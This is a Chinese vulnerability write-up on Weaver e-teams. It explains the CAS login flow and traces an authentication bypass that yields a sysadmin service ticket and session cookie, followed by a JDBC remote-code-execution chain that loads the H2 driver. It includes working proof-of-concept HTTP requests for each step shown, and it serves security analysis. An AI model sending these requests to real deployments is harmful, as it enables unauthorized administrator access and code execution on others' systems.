单点登录(SSO)是一种身份验证解决方案,可让用户通过一次性用户身份验证登录多个应用程序和网站。实现SSO的方式有很多种,比如Kerberos、SAML、OAuth2、JWT、OpenID、CAS、LDAP等。
CAS
CAS (Central Authentication Service) 最初由耶鲁大学于2001年开发。是面向Web的单点登录SSO解决方案。后来CAS项目被纳入Apereo Foundation管理,更名为Apereo CAS。参考Apereo官方文档:CAS - Architecture
CAS的架构如下。CAS 客户端是任何支持 CAS 的应用程序,CAS服务器负责颁发和验证票据来校验用户身份,进而授予CAS客户端的访问权限。
CAS流程参考:CAS - CAS Protocol。流程图片如下。
用户向目标系统发起访问,会重定向到CAS服务器,如果此时用户没有SSO Session,CAS服务器会向客户发送登录表单,输入用户名密码等。如果验证成功,CAS服务器会创建SSO Session(TGC)并给浏览器发送Cookie(Cookie中包含TGT票据这个票据就是SSO Session的seesion key)和ST票据。浏览器带着这个ST票据去访问应用程序,应用程序则向CAS服务器发送请求,校验ST票据。如果校验成功,应用程序再返回浏览器一个Session Cookie。下次再访问同一个应用,带着这个Session Cookie就可以免登录。如果访问的是不同的应用,则需要带着TGT Cookie。
CAS漏洞
从CAS的逻辑来看,如果我们拥有服务票据ST就可以成功访问应用。或者如果拥有TGT的Cookie,向CAS服务器发送要访问的应用地址,也可以成功访问。
获取票据
漏洞定位com/weaver/passport/controller/RestLoginController#appThirdLogin
获取loginType参数值,并获取头部名为“ETEAMS_TGC”的Cookie值。上面提到TGC是CAS给用户创建的包含TGT的SSO Session。跟进appThirdLogin
1. 首先判断是否在如下枚举类型中。给出了很多CAS登录方式,例如QQ、微博、微信、二维码等。
2. 根据loginType的值获取票据中心的类型。如果“ETEAMS_TGC”的Cookie值不为空,根据这个值从相应的票据中心中获取TGT。能获取到相应的TGT,说明身份认证通过。返回服务票据serviceTicketId。
3. 如果没能获取到TGT,尝试通过用户名创建凭证(密码固定为authPasswordFlag)。然后根据这个凭证去创建TGT。进而创建ST。
创建TGT
这段逻辑是根据提供的凭证和loginType进行用户身份验证,并生成Authentication对象。然后使用这个对象创建一个新的TGT。将生成的TGT存储在票据注册表中,返回生成的TGT的ID。身份验证的authenticate实际调用如下。
根据传入的loginType值找到对应的登录处理器。从凭证中获取UserInfo对象,如果该对象为空。根据手机验证码,或密码验证,或员工ID获取UserInfo。由于凭证的生成只包含了用户名密码,所以无法走入Mobile分支,而notCheckPassword中如下的loginType都会返回true。
另外之前的代码已经执行了credential.setNoPassword(true);也就无法进入else if分支。最终进入else执行getUserByEmpId。会根据传入的username查找userInfo。
后续会根据这个UserInfo创建相应用户的TGT。并返回TGT的id。
创建服务票据
a. 检查service是否符合格式Pattern.compile("^(https?|imaps?)://.*");
b. 从票据注册表中根据ticketGrantingTicketId
获取TGT
c. getNewTicketId生成服务票据ST的ID,并且这个ID以ST开头,以service名字作为后缀。
d. grantServiceTicket根据c中的ID生成服务票据ST。
e. 在票据中心中注册票据。返回生成的票据ID。
根据CAS的流程,有了服务票据ST去访问服务,可以获得相应的Cookie。用这个Cookie可以成功登录。理论上ETEAMS_TGC可以随时向CAS服务器换取相应服务的ticket通过身份校验。但是由于访问功能时,等于上图中直接访问app的步骤,需要的是Session Cookie而ETEAMS_TGC无法直接生效。关于CAS服务器部分,可以直接看com/weaver/weaver/intunifyauth/server/base/controller/CasServerController类的代码。
EteamsId
网上给出的poc中是通过ST访问服务去获取Cookie,即获取了EteamsId。查找EteamsId相关资料:泛微eteams认证登录是用户以泛微eteams为认证源安全登录第三方应用或者网站。并且全局还存在一个EteamsIdFilter。
用户每次登录时,必须输入 eteams 为其提供的唯一用户名和密码。eteams 仅发送 “cookie” 会话,用来记录特定会话过程中的加密身份验证信息。会话 “cookie” 不包含用户的用户名和密码。eteams 不使用 “cookie” 存储其他机密的用户和会话信息,而是实施了更高级的安全方法,这些方法基于动态数据和编码会话 ID。
定位com/weaver/passport/controller/PassportLoginController#generateEteamsId
跟进generateEteamsIdBySt,校验传入的ST,根据其中的用户信息生成EteamsId。EteamsId就是会话的cookie值。
POC
POST /papi/passport/rest/appThirdLogin?username=sysadmin&service=1&ip=1&loginType=third HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip
复现
兑换
POST /papi/passport/login/generateEteamsId?stTicket=ST-xxx HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip
复现
JDBC RCE漏洞
漏洞定位com/weaver/dw/datamodel/controller/DataConnController
jdbc连接
跟进testConn,典型的jdbc连接
常见的jdbc连接代码
// 配置数据库连接信息
String jdbcUrl = "jdbc:mysql://localhost:3306/your_database_name";
String username = "your_username";
String password = "your_password";
// 加载数据库驱动创建连接
Class.forName("com.mysql.cj.jdbc.Driver");
connection = DriverManager.getConnection(jdbcUrl, username, password);
// 执行sql
statement = connection.createStatement();
String sql = "SELECT * FROM table";
resultSet = statement.executeQuery(sql);
查看驱动类型有哪些,没有jdbc攻击常见的org.h2.Driver
看一下能控制的传入参数有哪些?
dbUrl可控。也就是可以利用相关数据库驱动造成RCE,例如mysql、db2等,但是大部分需要出网。还是想利用H2怎么办?
加载H2驱动
想要利用H2,需要对H2驱动进行加载,也就要有一步类加载过程。但是由于上面jdbc连接时,驱动是固定的,所以无法控制Class.forName的实际参数。
Class.forName("org.h2.Driver");
然后就有攻击者找到了com/weaver/client/controller/IaAuthclientController类的save方法
后续逻辑会进行switch(authType)的判断,而当这个值为custom时,对IaAuthclientCustomDTO的ruleClass值进行类加载。
POC
加载H2驱动器
POST /api/bs/iaauthclient/base/save HTTP/1.1
Host: ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
ETEAMSID: xxx
Connection: close
Content-Length: 87
{"isUse":1,"auth_type":"custom", "iaAuthclientCustomDTO":{"ruleClass":"org.h2.Driver"}}
复现
执行jdbc攻击